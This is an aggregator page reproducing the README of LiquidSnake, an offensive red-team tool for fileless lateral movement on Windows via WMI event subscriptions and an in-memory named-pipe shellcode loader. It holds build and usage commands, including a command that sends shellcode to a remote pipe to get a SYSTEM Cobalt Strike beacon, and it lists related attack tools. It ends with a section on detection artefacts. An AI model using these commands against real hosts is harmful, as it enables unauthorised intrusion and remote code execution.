All Projects → RiccardoAncarani → LiquidSnake

RiccardoAncarani / LiquidSnake

Licence: other
LiquidSnake is a tool that allows operators to perform fileless lateral movement using WMI Event Subscriptions and GadgetToJScript

Programming Languages

C#
18002 projects

Projects that are alternatives of or similar to LiquidSnake

WMEye
WMEye is a post exploitation tool that uses WMI Event Filter and MSBuild Execution for lateral movement
Stars: ✭ 315 (+18.42%)
Mutual labels:  red-team
Sub-Drill
A very (very) FAST and simple subdomain finder based on online & free services. Without any configuration requirements.
Stars: ✭ 70 (-73.68%)
Mutual labels:  red-team
Bifrost
Bifrost C2. Open-source post-exploitation using Discord API
Stars: ✭ 37 (-86.09%)
Mutual labels:  red-team
palinka c2
Just another useless C2 occupying space in some HDD somewhere.
Stars: ✭ 14 (-94.74%)
Mutual labels:  red-team
ja3transport
Impersonating JA3 signatures
Stars: ✭ 200 (-24.81%)
Mutual labels:  red-team
XENA
XENA is the managed remote administration platform for botnet creation & development powered by blockchain and machine learning. Aiming to provide an ecosystem which serves the bot herders. Favoring secrecy and resiliency over performance. It's micro-service oriented allowing for specialization and lower footprint. Join the community of the ulti…
Stars: ✭ 127 (-52.26%)
Mutual labels:  red-team
readhook
Red-team tool to hook libc read syscall with a buffer overflow vulnerability.
Stars: ✭ 31 (-88.35%)
Mutual labels:  red-team
docker-openvpn-client-socks
Expose an OpenVPN tunnel as a SOCKS proxy
Stars: ✭ 89 (-66.54%)
Mutual labels:  opsec
securitytalks
No description or website provided.
Stars: ✭ 29 (-89.1%)
Mutual labels:  opsec
juumla
🦁 Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and search for config or backup files.
Stars: ✭ 107 (-59.77%)
Mutual labels:  red-team
AutoWin
Autowin is a framework that helps organizations simulate custom attack scenarios in order to improve detection and response capabilities.
Stars: ✭ 18 (-93.23%)
Mutual labels:  red-team
pwn-pulse
Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)
Stars: ✭ 126 (-52.63%)
Mutual labels:  red-team
Octopus
Octopus - Network Scan/Infos & Web Scan
Stars: ✭ 25 (-90.6%)
Mutual labels:  red-team
LAZYPARIAH
A tool for generating reverse shell payloads on the fly.
Stars: ✭ 121 (-54.51%)
Mutual labels:  red-team
InMemoryNET
Exploring in-memory execution of .NET
Stars: ✭ 55 (-79.32%)
Mutual labels:  red-team
passwordstate-decryptor
PowerShell script that decrypts password entries from a Passwordstate server.
Stars: ✭ 19 (-92.86%)
Mutual labels:  red-team
metadata-one-liners
retrive metadata endpoint data with these one liners.
Stars: ✭ 38 (-85.71%)
Mutual labels:  red-team
Galaxy-Bugbounty-Checklist
Tips and Tutorials for Bug Bounty and also Penetration Tests.
Stars: ✭ 34 (-87.22%)
Mutual labels:  red-team
SharpUnhooker
C# Based Universal API Unhooker
Stars: ✭ 255 (-4.14%)
Mutual labels:  red-team
MacOS-WPA-PSK
PoC script showing that MacOS leaves the wireless key in NVRAM, in plaintext and accessible to anyone.
Stars: ✭ 29 (-89.1%)
Mutual labels:  red-team

Liquid Snake

Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk. The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of the thread hijacking shellcode injection.

The diagram below (hopefully) clarifies the flow of data:

Credits

Intro

The project is composed by two separate solutions:

  • CSharpNamedPipeLoader - the component that will be transformed in VBS via GadgetToJScript
  • LiquidSnake - the component responsible to creating the WMI Event Subscription on the remote system

Building

Simply open both solutions in Visual Studio and build them. Make sure to target x64 architecture for the CSharpNamedPipeLoader. If everything went fine, you should have two separate EXEs: CSharpNamedPipeLoader.exe and LiquidSnake.exe

Using GadgetToJscript, convert the CSharpNamedPipeLoader.exe to VBS using the following command:

GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

Test the .NET deserialisation using cscript.exe and ensure that everything works as expected:

cscript.exe test.vbs

Then, base64 encode the vbs file and stick it in the LiquidSnake's Program.cs vbscript64 variable at line 29.

I already made this for you so you can just compile the LiquidSnake solution and use it as it is.

Usage

Usage of this project is straightforward, use LiquidSnake.exe agains a host where you have administrative access over as follows:

LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

NOTE: Currently thers is a bug when you explicitly set user credentials, the tool will not work in that case. It is recommended to use make_token or any other impersonation mechanism instead.

If everything went fine, you should obtain an output similar as the following:

[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

The example above uses CobaltStrike's execute-assembly to launch LiquidSnake:

Meanwhile, in the remote host a new named pipe will be created with the following name:

\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Then, using my send_shellcode_via_pipe project from my BOFs you can send an arbitrary shellcode on the remote pipe that will be loaded and executed:

send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

If everything worked as expected, you should obtain a SYSTEM beacon:

NOTE: The current LiquidSnake version contains artefact generated by GadgetToJScript that targets .NET version 4.x. If your target host has only 3.5 installed, this will fail. Simply repeat the same process but using the appropriate .NET version when building GadgetToJScript.

Detection

There are many detection opportunities to identify the abuse of this tool and in general the use of this technique:

  • Creation and deletion of a WMI Event Filter in a short period of time, see Sysmon event IDs 19, 20, 21, 22
  • Module load events for clr.dll related to the scrcons.exe process
  • Creation of a named pipe related to the scrcons.exe process

Additionally, the biggest drawback of the specific implementation is that the shellcode is sent in cleartext over SMB. Meaning that if a network monitor solution is able to inspect that traffic, it is likely that it will stand out. I haven't done much testing against zeek/bro ruleset but I am pretty confident that it will be picked up immediately.

In the detection-artefacts folder I left the PCAP file of a Wireshark capture and the Sysmon events generated during the attack (using Swift On Security's default config).

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].